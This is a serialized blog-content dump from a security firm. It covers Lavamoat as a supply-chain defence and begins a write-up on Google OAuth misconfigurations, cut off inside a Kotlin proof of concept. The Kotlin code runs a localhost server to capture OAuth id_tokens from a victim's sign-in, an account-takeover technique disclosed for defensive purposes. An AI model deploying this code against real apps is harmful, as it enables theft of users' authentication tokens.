v5.6.1",{"type":28,"value":99658}," it would fail due to insufficient permissions:",{"type":23,"tag":24,"props":99660,"children":99661},{},[99662],{"type":23,"tag":4009,"props":99663,"children":99665},{"alt":50631,"src":99664},"/posts/supply-chain-attcks/error.png",[],{"type":23,"tag":24,"props":99667,"children":99668},{},[99669,99671,99676],{"type":28,"value":99670},"This error shows that the malware failed since it cannot redefine ",{"type":23,"tag":209,"props":99672,"children":99674},{"className":99673},[],[99675],{"type":28,"value":34151},{"type":28,"value":25523},{"type":23,"tag":202,"props":99678,"children":99680},{"code":99679},"TypeError#1: Cannot define property fetch, object is not extensible\n",[99681],{"type":23,"tag":209,"props":99682,"children":99683},{"__ignoreMap":7},[99684],{"type":28,"value":99679},{"type":23,"tag":47,"props":99686,"children":99688},{"id":99687},"lavamoat-in-practice",[99689],{"type":28,"value":99690},"Lavamoat In Practice",{"type":23,"tag":24,"props":99692,"children":99693},{},[99694,99696,99703],{"type":28,"value":99695},"The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (",{"type":23,"tag":36,"props":99697,"children":99700},{"href":99698,"rel":99699},"https://osec.io/reports/lavamoat_audit_final.pdf",[40],[99701],{"type":28,"value":99702},"see the audit report",{"type":28,"value":20796},{"type":23,"tag":24,"props":99705,"children":99706},{},[99707],{"type":28,"value":99708},"Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.",{"type":23,"tag":47,"props":99710,"children":99711},{"id":75850},[99712],{"type":28,"value":75853},{"type":23,"tag":24,"props":99714,"children":99715},{},[99716],{"type":28,"value":99717},"The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.",{"type":23,"tag":24,"props":99719,"children":99720},{},[99721,99723,99728],{"type":28,"value":99722},"Version pinning and ",{"type":23,"tag":209,"props":99724,"children":99726},{"className":99725},[],[99727],{"type":28,"value":99164},{"type":28,"value":99729}," provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.",{"type":23,"tag":2957,"props":99731,"children":99732},{},[99733],{"type":28,"value":2961},{"title":7,"searchDepth":226,"depth":226,"links":99735},[99736,99739,99740,99749,99750],{"id":97352,"depth":226,"text":97355,"children":99737},[99738],{"id":98987,"depth":524,"text":98990},{"id":98998,"depth":226,"text":99001},{"id":99014,"depth":226,"text":99017,"children":99741},[99742,99744,99746,99748],{"id":99025,"depth":524,"text":99743},"1. Version pinning in package.json",{"id":99155,"depth":524,"text":99745},"2. Use npm ci",{"id":99192,"depth":524,"text":99747},"3. Implement Lavamoat",{"id":99483,"depth":524,"text":99486},{"id":99687,"depth":226,"text":99690},{"id":75850,"depth":226,"text":75853},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":99755,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":99756,"description":99757,"date":99758,"author":99759,"image":99760,"isFeatured":18,"onBlogPage":18,"tags":99762,"body":99765,"_type":2967,"_id":102096,"_source":2969,"_file":102097,"_stem":102098,"_extension":2972},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[31257,31256],{"src":99761,"width":97321,"height":13703},"/posts/oauth-misconfigurations/title.png",[99763,99764],"oAuth","exchanges",{"type":20,"children":99766,"toc":102083},[99767,99773,99778,99784,99804,99810,99815,99828,99833,99841,99855,99864,99873,99887,99895,99906,99966,99972,99984,100033,100039,100044,100057,100064,100075,100095,100114,100135,100141,100154,100159,100165,100184,100809,100814,100827,101688,101693,101698,101704,101709,101715,101720,101733,101773,101779,101792,101797,101830,101835,101840,101865,101870,101882,102039,102044,102048,102060,102065,102069,102074,102079],{"type":23,"tag":47,"props":99768,"children":99770},{"id":99769},"exploiting-oauth",[99771],{"type":28,"value":99772},"Exploiting OAuth",{"type":23,"tag":24,"props":99774,"children":99775},{},[99776],{"type":28,"value":99777},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":23,"tag":9693,"props":99779,"children":99781},{"id":99780},"google-authentication-flows",[99782],{"type":28,"value":99783},"Google Authentication Flows",{"type":23,"tag":24,"props":99785,"children":99786},{},[99787,99789,99795,99797,99802],{"type":28,"value":99788},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":23,"tag":209,"props":99790,"children":99792},{"className":99791},[],[99793],{"type":28,"value":99794},"postMessage",{"type":28,"value":99796}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":23,"tag":209,"props":99798,"children":99800},{"className":99799},[],[99801],{"type":28,"value":69818},{"type":28,"value":99803}," to send the token back to the RP.",{"type":23,"tag":18945,"props":99805,"children":99807},{"id":99806},"gsi-new-flow",[99808],{"type":28,"value":99809},"GSI (New Flow)",{"type":23,"tag":24,"props":99811,"children":99812},{},[99813],{"type":28,"value":99814},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":23,"tag":168,"props":99816,"children":99817},{},[99818,99823],{"type":23,"tag":135,"props":99819,"children":99820},{},[99821],{"type":28,"value":99822},"Using FedCM API",{"type":23,"tag":135,"props":99824,"children":99825},{},[99826],{"type":28,"value":99827},"Without using FedCM API",{"type":23,"tag":24,"props":99829,"children":99830},{},[99831],{"type":28,"value":99832},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":23,"tag":24,"props":99834,"children":99835},{},[99836],{"type":23,"tag":95,"props":99837,"children":99838},{},[99839],{"type":28,"value":99840},"FedCM Method",{"type":23,"tag":24,"props":99842,"children":99843},{},[99844,99846,99853],{"type":28,"value":99845},"The FedCM method basically follows this ",{"type":23,"tag":36,"props":99847,"children":99850},{"href":99848,"rel":99849},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[40],[99851],{"type":28,"value":99852},"user experience",{"type":28,"value":99854},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":23,"tag":24,"props":99856,"children":99857},{},[99858,99860],{"type":28,"value":99859},"The normal flow, clicking the \"sign in\" button:\n",{"type":23,"tag":4009,"props":99861,"children":99863},{"alt":50631,"src":99862},"/posts/oauth-misconfigurations/image1.png",[],{"type":23,"tag":24,"props":99865,"children":99866},{},[99867,99869],{"type":28,"value":99868},"One-Tap popup shown when you open the page:\n",{"type":23,"tag":4009,"props":99870,"children":99872},{"alt":50631,"src":99871},"/posts/oauth-misconfigurations/image2.png",[],{"type":23,"tag":24,"props":99874,"children":99875},{},[99876,99878,99885],{"type":28,"value":99877},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":23,"tag":36,"props":99879,"children":99882},{"href":99880,"rel":99881},"https://github.com/w3c-fedid/FedCM/issues/429",[40],[99883],{"type":28,"value":99884},"FedCM auto-reauthentication",{"type":28,"value":99886},", which has certain preconditions that must be met.",{"type":23,"tag":24,"props":99888,"children":99889},{},[99890],{"type":23,"tag":95,"props":99891,"children":99892},{},[99893],{"type":28,"value":99894},"Non-FedCM Method",{"type":23,"tag":24,"props":99896,"children":99897},{},[99898,99900,99905],{"type":28,"value":99899},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":23,"tag":209,"props":99901,"children":99903},{"className":99902},[],[99904],{"type":28,"value":99794},{"type":28,"value":277},{"type":23,"tag":131,"props":99907,"children":99908},{},[99909,99914,99938,99943,99954],{"type":23,"tag":135,"props":99910,"children":99911},{},[99912],{"type":28,"value":99913},"The user clicks the sign in button",{"type":23,"tag":135,"props":99915,"children":99916},{},[99917,99919,99925,99927,99932,99933],{"type":28,"value":99918},"RP opens a popup/iframe to ",{"type":23,"tag":36,"props":99920,"children":99923},{"href":99921,"rel":99922},"https://accounts.google.com/o/oauth2/v2/auth",[40],[99924],{"type":28,"value":99921},{"type":28,"value":99926}," with some important parameters like ",{"type":23,"tag":209,"props":99928,"children":99930},{"className":99929},[],[99931],{"type":28,"value":69650},{"type":28,"value":1466},{"type":23,"tag":209,"props":99934,"children":99936},{"className":99935},[],[99937],{"type":28,"value":40193},{"type":23,"tag":135,"props":99939,"children":99940},{},[99941],{"type":28,"value":99942},"The user clicks the \"Continue\" button to authorize authentication",{"type":23,"tag":135,"props":99944,"children":99945},{},[99946,99948],{"type":28,"value":99947},"They get redirected to ",{"type":23,"tag":36,"props":99949,"children":99952},{"href":99950,"rel":99951},"https://accounts.google.com/gsi/transform",[40],[99953],{"type":28,"value":99950},{"type":23,"tag":135,"props":99955,"children":99956},{},[99957,99959,99964],{"type":28,"value":99958},"/gsi/transform sends the token back to the RP via ",{"type":23,"tag":209,"props":99960,"children":99962},{"className":99961},[],[99963],{"type":28,"value":99794},{"type":28,"value":99965}," (after some SYN/ACK messages)",{"type":23,"tag":18945,"props":99967,"children":99969},{"id":99968},"oauth-20-old-flow",[99970],{"type":28,"value":99971},"OAuth 2.0 Old Flow",{"type":23,"tag":24,"props":99973,"children":99974},{},[99975,99977,99982],{"type":28,"value":99976},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":23,"tag":209,"props":99978,"children":99980},{"className":99979},[],[99981],{"type":28,"value":69818},{"type":28,"value":99983}," provided in the URL and validated by a whitelist configuration:",{"type":23,"tag":131,"props":99985,"children":99986},{},[99987,99991,100012,100016],{"type":23,"tag":135,"props":99988,"children":99989},{},[99990],{"type":28,"value":99913},{"type":23,"tag":135,"props":99992,"children":99993},{},[99994,99995,100000,100001,100006,100007],{"type":28,"value":99918},{"type":23,"tag":36,"props":99996,"children":99998},{"href":99921,"rel":99997},[40],[99999],{"type":28,"value":99921},{"type":28,"value":99926},{"type":23,"tag":209,"props":100002,"children":100004},{"className":100003},[],[100005],{"type":28,"value":69650},{"type":28,"value":1466},{"type":23,"tag":209,"props":100008,"children":100010},{"className":100009},[],[100011],{"type":28,"value":69818},{"type":23,"tag":135,"props":100013,"children":100014},{},[100015],{"type":28,"value":99942},{"type":23,"tag":135,"props":100017,"children":100018},{},[100019,100020,100025,100027],{"type":28,"value":99947},{"type":23,"tag":209,"props":100021,"children":100023},{"className":100022},[],[100024],{"type":28,"value":69818},{"type":28,"value":100026}," with the token in the query parameters or ",{"type":23,"tag":209,"props":100028,"children":100030},{"className":100029},[],[100031],{"type":28,"value":100032},"location.hash",{"type":23,"tag":18945,"props":100034,"children":100036},{"id":100035},"different-configurations",[100037],{"type":28,"value":100038},"Different Configurations",{"type":23,"tag":24,"props":100040,"children":100041},{},[100042],{"type":28,"value":100043},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":23,"tag":168,"props":100045,"children":100046},{},[100047,100052],{"type":23,"tag":135,"props":100048,"children":100049},{},[100050],{"type":28,"value":100051},"Authorized origins",{"type":23,"tag":135,"props":100053,"children":100054},{},[100055],{"type":28,"value":100056},"Authorized redirect URIs",{"type":23,"tag":24,"props":100058,"children":100059},{},[100060],{"type":23,"tag":4009,"props":100061,"children":100063},{"alt":50631,"src":100062},"/posts/oauth-misconfigurations/image3.png",[],{"type":23,"tag":24,"props":100065,"children":100066},{},[100067,100069,100074],{"type":28,"value":100068},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":23,"tag":209,"props":100070,"children":100072},{"className":100071},[],[100073],{"type":28,"value":69650},{"type":28,"value":124},{"type":23,"tag":24,"props":100076,"children":100077},{},[100078,100080,100086,100088,100093],{"type":28,"value":100079},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":23,"tag":209,"props":100081,"children":100083},{"className":100082},[],[100084],{"type":28,"value":100085},"/oauth2/v2/auth",{"type":28,"value":100087}," by checking the ",{"type":23,"tag":209,"props":100089,"children":100091},{"className":100090},[],[100092],{"type":28,"value":40193},{"type":28,"value":100094}," query parameter.",{"type":23,"tag":24,"props":100096,"children":100097},{},[100098,100100,100105,100107,100112],{"type":28,"value":100099},"In the old flow, the ",{"type":23,"tag":209,"props":100101,"children":100103},{"className":100102},[],[100104],{"type":28,"value":69818},{"type":28,"value":100106}," parameter passed in the ",{"type":23,"tag":209,"props":100108,"children":100110},{"className":100109},[],[100111],{"type":28,"value":100085},{"type":28,"value":100113}," endpoint is validated against the authorized redirect URIs.",{"type":23,"tag":24,"props":100115,"children":100116},{},[100117,100119,100124,100126,100133],{"type":28,"value":100118},"Note that the new GSI flow can also have a different flow using ",{"type":23,"tag":209,"props":100120,"children":100122},{"className":100121},[],[100123],{"type":28,"value":69818},{"type":28,"value":100125}," validation. To execute this flow, you need to specify ",{"type":23,"tag":36,"props":100127,"children":100130},{"href":100128,"rel":100129},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[40],[100131],{"type":28,"value":100132},"login_uri",{"type":28,"value":100134}," while using the SDK.",{"type":23,"tag":9693,"props":100136,"children":100138},{"id":100137},"localhost-exploit",[100139],{"type":28,"value":100140},"Localhost Exploit",{"type":23,"tag":24,"props":100142,"children":100143},{},[100144,100146,100152],{"type":28,"value":100145},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":23,"tag":209,"props":100147,"children":100149},{"className":100148},[],[100150],{"type":28,"value":100151},"localhost",{"type":28,"value":100153}," origin because it is considered trusted for local testing.",{"type":23,"tag":24,"props":100155,"children":100156},{},[100157],{"type":28,"value":100158},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":23,"tag":18945,"props":100160,"children":100162},{"id":100161},"exploit",[100163],{"type":28,"value":100164},"Exploit",{"type":23,"tag":24,"props":100166,"children":100167},{},[100168,100170,100175,100176,100182],{"type":28,"value":100169},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":23,"tag":209,"props":100171,"children":100173},{"className":100172},[],[100174],{"type":28,"value":100032},{"type":28,"value":108},{"type":23,"tag":209,"props":100177,"children":100179},{"className":100178},[],[100180],{"type":28,"value":100181},"location.search",{"type":28,"value":100183},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":23,"tag":202,"props":100185,"children":100189},{"className":100186,"code":100187,"language":100188,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n super.onCreate(savedInstanceState)\n\n // Start the Ktor web server\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n // Open the Google OAuth page\n val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n meta(charset = \"UTF-8\")\n meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n title(\"OAuth Redirect\")\n }\n body {\n h1 { +\"Google OAuth Redirect\" }\n script {\n +\"document.body.innerText = location.hash;\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n","kt",[100190],{"type":23,"tag":209,"props":100191,"children":100192},{"__ignoreMap":7},[100193,100222,100241,100248,100255,100274,100285,100296,100327,100350,100397,100404,100411,100418,100425,100445,100476,100487,100494,100501,100520,100543,100554,100573,100588,100599,100622,100657,100676,100683,100694,100717,100728,100740,100747,100754,100761,100768,100775,100802],{"type":23,"tag":213,"props":100194,"children":100195},{"class":215,"line":216},[100196,100201,100205,100209,100213,100217],{"type":23,"tag":213,"props":100197,"children":100198},{"style":230},[100199],{"type":28,"value":100200}," override",{"type":23,"tag":213,"props":100202,"children":100203},{"style":230},[100204],{"type":28,"value":6299},{"type":23,"tag":213,"props":100206,"children":100207},{"style":257},[100208],{"type":28,"value":70506},{"type":23,"tag":213,"props":100210,"children":100211},{"style":220},[100212],{"type":28,"value":70511},{"type":23,"tag":213,"props":100214,"children":100215},{"style":290},[100216],{"type":28,"value":70516},{"type":23,"tag":213,"props":100218,"children":100219},{"style":220},[100220],{"type":28,"value":100221},"?){\n",{"type":23,"tag":213,"props":100223,"children":100224},{"class":215,"line":226},[100225,100229,100233,100237],{"type":23,"tag":213,"props":100226,"children":100227},{"style":230},[100228],{"type":28,"value":70529},{"type":23,"tag":213,"props":100230,"children":100231},{"style":220},[100232],{"type":28,"value":124},{"type":23,"tag":213,"props":100234,"children":100235},{"style":257},[100236],{"type":28,"value":70538},{"type":23,"tag":213,"props":100238,"children":100239},{"style":220},[100240],{"type":28,"value":70543},{"type":23,"tag":213,"props":100242,"children":100243},{"class":215,"line":524},[100244],{"type":23,"tag":213,"props":100245,"children":100246},{"emptyLinePlaceholder":18},[100247],{"type":28,"value":530},{"type":23,"tag":213,"props":100249,"children":100250},{"class":215,"line":533},[100251],{"type":23,"tag":213,"props":100252,"children":100253},{"style":537},[100254],{"type":28,"value":70558},{"type":23,"tag":213,"props":100256,"children":100257},{"class":215,"line":543},[100258,100262,100266,100270],{"type":23,"tag":213,"props":100259,"children":100260},{"style":257},[100261],{"type":28,"value":70566},{"type":23,"tag":213,"props":100263,"children":100264},{"style":220},[100265],{"type":28,"value":70571},{"type":23,"tag":213,"props":100267,"children":100268},{"style":257},[100269],{"type":28,"value":70576},{"type":23,"tag":213,"props":100271,"children":100272},{"style":220},[100273],{"type":28,"value":1375},{"type":23,"tag":213,"props":100275,"children":100276},{"class":215,"line":551},[100277,100281],{"type":23,"tag":213,"props":100278,"children":100279},{"style":1362},[100280],{"type":28,"value":70588},{"type":23,"tag":213,"props":100282,"children":100283},{"style":220},[100284],{"type":28,"value":1375},{"type":23,"tag":213,"props":100286,"children":100287},{"class":215,"line":570},[100288,100292],{"type":23,"tag":213,"props":100289,"children":100290},{"style":257},[100291],{"type":28,"value":70600},{"type":23,"tag":213,"props":100293,"children":100294},{"style":220},[100295],{"type":28,"value":7824},{"type":23,"tag":213,"props":100297,"children":100298},{"class":215,"line":655},[100299,100303,100307,100311,100315,100319,100323],{"type":23,"tag":213,"props":100300,"children":100301},{"style":220},[100302],{"type":28,"value":70612},{"type":23,"tag":213,"props":100304,"children":100305},{"style":257},[100306],{"type":28,"value":70617},{"type":23,"tag":213,"props":100308,"children":100309},{"style":220},[100310],{"type":28,"value":265},{"type":23,"tag":213,"props":100312,"children":100313},{"style":246},[100314],{"type":28,"value":70626},{"type":23,"tag":213,"props":100316,"children":100317},{"style":220},[100318],{"type":28,"value":424},{"type":23,"tag":213,"props":100320,"children":100321},{"style":246},[100322],{"type":28,"value":70635},{"type":23,"tag":213,"props":100324,"children":100325},{"style":220},[100326],{"type":28,"value":2183},{"type":23,"tag":213,"props":100328,"children":100329},{"class":215,"line":1176},[100330,100334,100338,100342,100346],{"type":23,"tag":213,"props":100331,"children":100332},{"style":220},[100333],{"type":28,"value":70647},{"type":23,"tag":213,"props":100335,"children":100336},{"style":230},[100337],{"type":28,"value":48463},{"type":23,"tag":213,"props":100339,"children":100340},{"style":220},[100341],{"type":28,"value":70656},{"type":23,"tag":213,"props":100343,"children":100344},{"style":290},[100345],{"type":28,"value":70661},{"type":23,"tag":213,"props":100347,"children":100348},{"style":220},[100349],{"type":28,"value":14870},{"type":23,"tag":213,"props":100351,"children":100352},{"class":215,"line":1202},[100353,100357,100361,100365,100369,100373,100377,100381,100385,100389,100393],{"type":23,"tag":213,"props":100354,"children":100355},{"style":220},[100356],{"type":28,"value":70612},{"type":23,"tag":213,"props":100358,"children":100359},{"style":257},[100360],{"type":28,"value":51507},{"type":23,"tag":213,"props":100362,"children":100363},{"style":220},[100364],{"type":28,"value":265},{"type":23,"tag":213,"props":100366,"children":100367},{"style":246},[100368],{"type":28,"value":70626},{"type":23,"tag":213,"props":100370,"children":100371},{"style":220},[100372],{"type":28,"value":424},{"type":23,"tag":213,"props":100374,"children":100375},{"style":246},[100376],{"type":28,"value":70693},{"type":23,"tag":213,"props":100378,"children":100379},{"style":230},[100380],{"type":28,"value":34165},{"type":23,"tag":213,"props":100382,"children":100383},{"style":274},[100384],{"type":28,"value":70702},{"type":23,"tag":213,"props":100386,"children":100387},{"style":230},[100388],{"type":28,"value":34197},{"type":23,"tag":213,"props":100390,"children":100391},{"style":246},[100392],{"type":28,"value":20114},{"type":23,"tag":213,"props":100394,"children":100395},{"style":220},[100396],{"type":28,"value":70715},{"type":23,"tag":213,"props":100398,"children":100399},{"class":215,"line":1758},[100400],{"type":23,"tag":213,"props":100401,"children":100402},{"style":220},[100403],{"type":28,"value":58938},{"type":23,"tag":213,"props":100405,"children":100406},{"class":215,"line":1767},[100407],{"type":23,"tag":213,"props":100408,"children":100409},{"style":220},[100410],{"type":28,"value":3444},{"type":23,"tag":213,"props":100412,"children":100413},{"class":215,"line":1789},[100414],{"type":23,"tag":213,"props":100415,"children":100416},{"emptyLinePlaceholder":18},[100417],{"type":28,"value":530},{"type":23,"tag":213,"props":100419,"children":100420},{"class":215,"line":1812},[100421],{"type":23,"tag":213,"props":100422,"children":100423},{"style":537},[100424],{"type":28,"value":70744},{"type":23,"tag":213,"props":100426,"children":100427},{"class":215,"line":1838},[100428,100432,100436,100440],{"type":23,"tag":213,"props":100429,"children":100430},{"style":230},[100431],{"type":28,"value":70752},{"type":23,"tag":213,"props":100433,"children":100434},{"style":220},[100435],{"type":28,"value":70757},{"type":23,"tag":213,"props":100437,"children":100438},{"style":274},[100439],{"type":28,"value":3190},{"type":23,"tag":213,"props":100441,"children":100442},{"style":246},[100443],{"type":28,"value":100444}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":23,"tag":213,"props":100446,"children":100447},{"class":215,"line":1851},[100448,100452,100456,100460,100464,100468,100472],{"type":23,"tag":213,"props":100449,"children":100450},{"style":230},[100451],{"type":28,"value":70752},{"type":23,"tag":213,"props":100453,"children":100454},{"style":220},[100455],{"type":28,"value":70778},{"type":23,"tag":213,"props":100457,"children":100458},{"style":274},[100459],{"type":28,"value":3190},{"type":23,"tag":213,"props":100461,"children":100462},{"style":257},[100463],{"type":28,"value":70787},{"type":23,"tag":213,"props":100465,"children":100466},{"style":220},[100467],{"type":28,"value":70792},{"type":23,"tag":213,"props":100469,"children":100470},{"style":257},[100471],{"type":28,"value":39269},{"type":23,"tag":213,"props":100473,"children":100474},{"style":220},[100475],{"type":28,"value":70801},{"type":23,"tag":213,"props":100477,"children":100478},{"class":215,"line":1864},[100479,100483],{"type":23,"tag":213,"props":100480,"children":100481},{"style":257},[100482],{"type":28,"value":70809},{"type":23,"tag":213,"props":100484,"children":100485},{"style":220},[100486],{"type":28,"value":70814},{"type":23,"tag":213,"props":100488,"children":100489},{"class":215,"line":1890},[100490],{"type":23,"tag":213,"props":100491,"children":100492},{"style":220},[100493],{"type":28,"value":2875},{"type":23,"tag":213,"props":100495,"children":100496},{"class":215,"line":1899},[100497],{"type":23,"tag":213,"props":100498,"children":100499},{"emptyLinePlaceholder":18},[100500],{"type":28,"value":530},{"type":23,"tag":213,"props":100502,"children":100503},{"class":215,"line":1912},[100504,100508,100512,100516],{"type":23,"tag":213,"props":100505,"children":100506},{"style":230},[100507],{"type":28,"value":70836},{"type":23,"tag":213,"props":100509,"children":100510},{"style":230},[100511],{"type":28,"value":6299},{"type":23,"tag":213,"props":100513,"children":100514},{"style":257},[100515],{"type":28,"value":70845},{"type":23,"tag":213,"props":100517,"children":100518},{"style":220},[100519],{"type":28,"value":15791},{"type":23,"tag":213,"props":100521,"children":100522},{"class":215,"line":1921},[100523,100527,100531,100535,100539],{"type":23,"tag":213,"props":100524,"children":100525},{"style":257},[100526],{"type":28,"value":70857},{"type":23,"tag":213,"props":100528,"children":100529},{"style":220},[100530],{"type":28,"value":70862},{"type":23,"tag":213,"props":100532,"children":100533},{"style":274},[100534],{"type":28,"value":3190},{"type":23,"tag":213,"props":100536,"children":100537},{"style":514},[100538],{"type":28,"value":70871},{"type":23,"tag":213,"props":100540,"children":100541},{"style":220},[100542],{"type":28,"value":14870},{"type":23,"tag":213,"props":100544,"children":100545},{"class":215,"line":3879},[100546,100550],{"type":23,"tag":213,"props":100547,"children":100548},{"style":257},[100549],{"type":28,"value":70883},{"type":23,"tag":213,"props":100551,"children":100552},{"style":220},[100553],{"type":28,"value":1375},{"type":23,"tag":213,"props":100555,"children":100556},{"class":215,"line":3887},[100557,100561,100565,100569],{"type":23,"tag":213,"props":100558,"children":100559},{"style":230},[100560],{"type":28,"value":70895},{"type":23,"tag":213,"props":100562,"children":100563},{"style":220},[100564],{"type":28,"value":265},{"type":23,"tag":213,"props":100566,"children":100567},{"style":246},[100568],{"type":28,"value":70904},{"type":23,"tag":213,"props":100570,"children":100571},{"style":220},[100572],{"type":28,"value":14870},{"type":23,"tag":213,"props":100574,"children":100575},{"class":215,"line":3918},[100576,100580,100584],{"type":23,"tag":213,"props":100577,"children":100578},{"style":220},[100579],{"type":28,"value":70916},{"type":23,"tag":213,"props":100581,"children":100582},{"style":257},[100583],{"type":28,"value":70921},{"type":23,"tag":213,"props":100585,"children":100586},{"style":220},[100587],{"type":28,"value":1375},{"type":23,"tag":213,"props":100589,"children":100590},{"class":215,"line":3926},[100591,100595],{"type":23,"tag":213,"props":100592,"children":100593},{"style":257},[100594],{"type":28,"value":70933},{"type":23,"tag":213,"props":100596,"children":100597},{"style":220},[100598],{"type":28,"value":1375},{"type":23,"tag":213,"props":100600,"children":100601},{"class":215,"line":3986},[100602,100606,100610,100614,100618],{"type":23,"tag":213,"props":100603,"children":100604},{"style":257},[100605],{"type":28,"value":70945},{"type":23,"tag":213,"props":100607,"children":100608},{"style":220},[100609],{"type":28,"value":70950},{"type":23,"tag":213,"props":100611,"children":100612},{"style":274},[100613],{"type":28,"value":3190},{"type":23,"tag":213,"props":100615,"children":100616},{"style":246},[100617],{"type":28,"value":70959},{"type":23,"tag":213,"props":100619,"children":100620},{"style":220},[100621],{"type":28,"value":2183},{"type":23,"tag":213,"props":100623,"children":100624},{"class":215,"line":9132},[100625,100629,100633,100637,100641,100645,100649,100653],{"type":23,"tag":213,"props":100626,"children":100627},{"style":257},[100628],{"type":28,"value":70945},{"type":23,"tag":213,"props":100630,"children":100631},{"style":220},[100632],{"type":28,"value":70975},{"type":23,"tag":213,"props":100634,"children":100635},{"style":274},[100636],{"type":28,"value":3190},{"type":23,"tag":213,"props":100638,"children":100639},{"style":246},[100640],{"type":28,"value":70984},{"type":23,"tag":213,"props":100642,"children":100643},{"style":220},[100644],{"type":28,"value":70989},{"type":23,"tag":213,"props":100646,"children":100647},{"style":274},[100648],{"type":28,"value":3190},{"type":23,"tag":213,"props":100650,"children":100651},{"style":246},[100652],{"type":28,"value":70998},{"type":23,"tag":213,"props":100654,"children":100655},{"style":220},[100656],{"type":28,"value":2183},{"type":23,"tag":213,"props":100658,"children":100659},{"class":215,"line":9150},[100660,100664,100668,100672],{"type":23,"tag":213,"props":100661,"children":100662},{"style":257},[100663],{"type":28,"value":71010},{"type":23,"tag":213,"props":100665,"children":100666},{"style":220},[100667],{"type":28,"value":265},{"type":23,"tag":213,"props":100669,"children":100670},{"style":246},[100671],{"type":28,"value":71019},{"type":23,"tag":213,"props":100673,"children":100674},{"style":220},[100675],{"type":28,"value":2183},{"type":23,"tag":213,"props":100677,"children":100678},{"class":215,"line":9195},[100679],{"type":23,"tag":213,"props":100680,"children":100681},{"style":220},[100682],{"type":28,"value":71031},{"type":23,"tag":213,"props":100684,"children":100685},{"class":215,"line":9301},[100686,100690],{"type":23,"tag":213,"props":100687,"children":100688},{"style":257},[100689],{"type":28,"value":71039},{"type":23,"tag":213,"props":100691,"children":100692},{"style":220},[100693],{"type":28,"value":1375},{"type":23,"tag":213,"props":100695,"children":100696},{"class":215,"line":23557},[100697,100701,100705,100709,100713],{"type":23,"tag":213,"props":100698,"children":100699},{"style":257},[100700],{"type":28,"value":71051},{"type":23,"tag":213,"props":100702,"children":100703},{"style":220},[100704],{"type":28,"value":2572},{"type":23,"tag":213,"props":100706,"children":100707},{"style":274},[100708],{"type":28,"value":2703},{"type":23,"tag":213,"props":100710,"children":100711},{"style":246},[100712],{"type":28,"value":71064},{"type":23,"tag":213,"pro